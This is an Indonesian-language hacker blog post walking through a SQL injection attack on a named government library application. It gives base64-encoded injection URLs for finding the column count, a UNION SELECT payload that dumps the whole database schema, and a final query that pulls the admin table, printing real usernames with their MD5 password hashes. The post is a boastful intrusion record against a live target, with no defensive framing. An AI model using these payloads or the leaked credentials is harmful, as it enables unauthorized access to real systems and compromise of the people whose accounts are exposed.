MYSQL Injection base64 statement in web ESDM


website: http://aplikasi.mgi.esdm.go.id/
bug location: http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTA%3D
bug type: MYSQL Injection base64 statement
author: X'1N73CT
POC:

[ tester ]
kita bisa lihat bahwa id web tersebut adalah base64 
ini terbukti dari hasil decode id tersebut ( MTA= ) adalah 10
berhubung idnya base64 jadi kita tinggal merubah perintahnya ke base64

seperti kita tau cara tester yg biasa kita lakukan adalah dengan menambahkan tanda ' di id
sehingga menjadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10'
namun harus di encode dulu ke base64 
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAn
lalu enter

hasil:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

error 

lanjutt

[ mencari jumlah kolom ]
seperti biasa yg kita lakukan dalam tahap ini kita memakai perintah order by
seperti berikut:

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 1--
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMS0t
enter
hasil web normal 

kita lompat ke 100 , kenapa saya melompat jauh ke 100 yakni ingin mengecek web ini di proteksi apa tidak

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 100--
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMTAwLS0%3D

wahh webnya normal
kemungkinan ada 2 yakni website di protesi atau jumlah kolomnya lebih dari 100
untuk menetesnya kita sisipkan perintah ' dan -- -

sehingga menjadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 100-- -
jangan lupa di encode dulu
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwMC0tIC0%3D

alhasil 

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

error 
berarti kolom gk sampai 100 ( adminnya mau nipu saya ohh tidak bisa  )

kita mundur ke angka 12
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 12-- -
encode dulu:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEyLS0gLQ%3D%3D
enter

hasil
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25
eroor  gk sampai 12 juga

kita coba angka 10

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 10-- -
kita encode dulu:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwLS0gLQ%3D%3D

hasil

web kembali normal
xixixi berarti kolomnya diantara 10 - 11 heheh
kita coba 11

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 11-- -
encodenya:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDExLS0gLQ%3D%3D

hasil:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

xixixi ahay kolomnya ada 10

lanjut ke tahap selanjutnya

[ mencari angka injeksi ]
bisa ditebak kan di tahap ini kita memakai perintah apa?

yups anda benar kita memakai perintah union select di ikuti urutan jumlah angka yg kita temukan tadi

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSwyLDMsNCw1LDYsNyw4LDksMTAtLSAt

hasil:
keluar angka 2,3,4,5,6,7,8,10
yups itulah angka injeksinya buat mneruskan langkah kita nanti

lanjuut

[ mencari versi mysql ]
ok dalam tahap ini kita memakai perintah version() adatu @@version
kita sisipkan di salah satu angka yg keluar tadi

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,version(),3,4,5,6,7,8,9,10-- -
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSx2ZXJzaW9uKCksMyw0LDUsNiw3LDgsOSwxMC0tIC0%3D

hasil:
tampilan angka 2 tadi berubah menjadi 5.1.30 
yupp mantapp kita dapat versi 5
kalau versi kurang dari 5 kita harus tebak2 sendiri nama kolomnya

lanjutt

[ fast sqli ]
guna mempersingkat waktu saya pakai teknik ini saja
tekniknya mudah kok tinggal menggantikan perintah version dengan perintah ini
concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:=@running_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x))

seperti berikut
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:=@running_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x)),3,4,5,6,7,8,9,10-- -
jangan lupa di encode
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxjb25jYXQoMHgzYzYyM2U0MTc1NzQ2ODZmNzIyMDIwM2EyMDIwMjA1ODI3MzE0ZTM3MzM0MzU0M2M0MjUyM2U0MjU1NDcyMDU0Nzk3MDY1MjAzYTIwMjA1MzUxNGM0OTNjNjI3MjNlNGQ1OTUzNTE0YzIwNTY2NTcyNzM2OTZmNmUzYTIwLHZlcnNpb24oKSwoU0VMRUNUKEB4KWZyb20oU0VMRUNUKEB4Oj0weDAwKSwoQHJ1bm5pbmdfbnVtYmVyOj0wKSwoU0VMRUNUKDApZnJvbShpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyl3aGVyZSh0YWJsZV9zY2hlbWEhPTB4Njk2ZTY2NmY3MjZkNjE3NDY5NmY2ZTVmNzM2MzY4NjU2ZDYxKWFuZCgweDAwKWluKEB4Oj1jb25jYXQoQHgsMHgzYzYyNzIzZTIwLChAcnVubmluZ19udW1iZXI6PUBydW5uaW5nX251bWJlcisxKSwweDJlMjAsdGFibGVfc2NoZW1hLDB4MjAzZDNkM2UyMCx0YWJsZV9uYW1lLDB4MjAzZDNkM2UyMCxjb2x1bW5fbmFtZSkpKSl4KSksMyw0LDUsNiw3LDgsOSwxMC0tIC0%3D

hasil:
taraa,,
bisa dilihat sendiri 

lanjut kita cari username sama passwordnya
tinggal ctrl+f lalu ketik pass enter

berhubung ini website databasenya banyak
kita lihat aja database web ini dengan cara
mengganti perintah fast sqli tadi dengan perintah database()
cekidot
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,database(),3,4,5,6,7,8,9,10-- -
encode dulu ya:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAtLSAt

hasil:
muncul kata 
omen

yups nama databasenya adalah omen
kita klik back di firefox untuk kembali ke fast sqli tadi
lalu kita ctrl+f kata omen
dan cari admin nya

yups ketemu

2864. omen ==> admin ==> id
2865. omen ==> admin ==> nama
2866. omen ==> admin ==> user
2867. omen ==> admin ==> pass

format fas sqli disini ialah

namadatabse ==> namatabel ==> nama kolom
jadi
namadatabase: omen
nama tabel : admin
nama klom : id,nama,user,pass

lanjuutt

[ kita buka datanya ]

jika sudah tau nama database,namatabel dan nama kolomnya lngkah selnjutnya ialah kita buka datanya
buka datanya sama seperti biasa
yaki dengan perintah
group_concat(namakolom) diikuti dengan from nama tabel

namun jika databasenya kelihatan banyak bisa juga pakai yg ini

group_concat(namakolom) diikuti dengan from namadatabase.namatabel

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,group_concat(user,0x3a,pass),3,4,5,6,7,8,9,10 from omen.admin-- -

encodenya:

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQodXNlciwweDNhLHBhc3MpLDMsNCw1LDYsNyw4LDksMTAgZnJvbSBvbWVuLmFkbWluLS0gLQ%3D%3D

hasil:
juhe:704b037a97fa9b25522b7c014c300f8a,
mgi:2d8ba2223ae0795eb813db8aa28bf0aa,
yuni:e10adc3949ba59abbe56e057f20f883e,
narto:350182be1d34410b443f569865119912, <== pemain utama film katun no 1 di jepang "NARTO"  just kiding
dery:ee453e6c81726c71cfdd34e74791d600

salam dari saya

X'1N73CT

spesial untuk my princess S1T1 B4RC0D3 and all my friend

No comments:
Write komentar

Pengunjung Yang Baik Adalah Pengunjung Sering Berkomentar Pada Suatu Blog Yang Di Kunjunginya...

Labels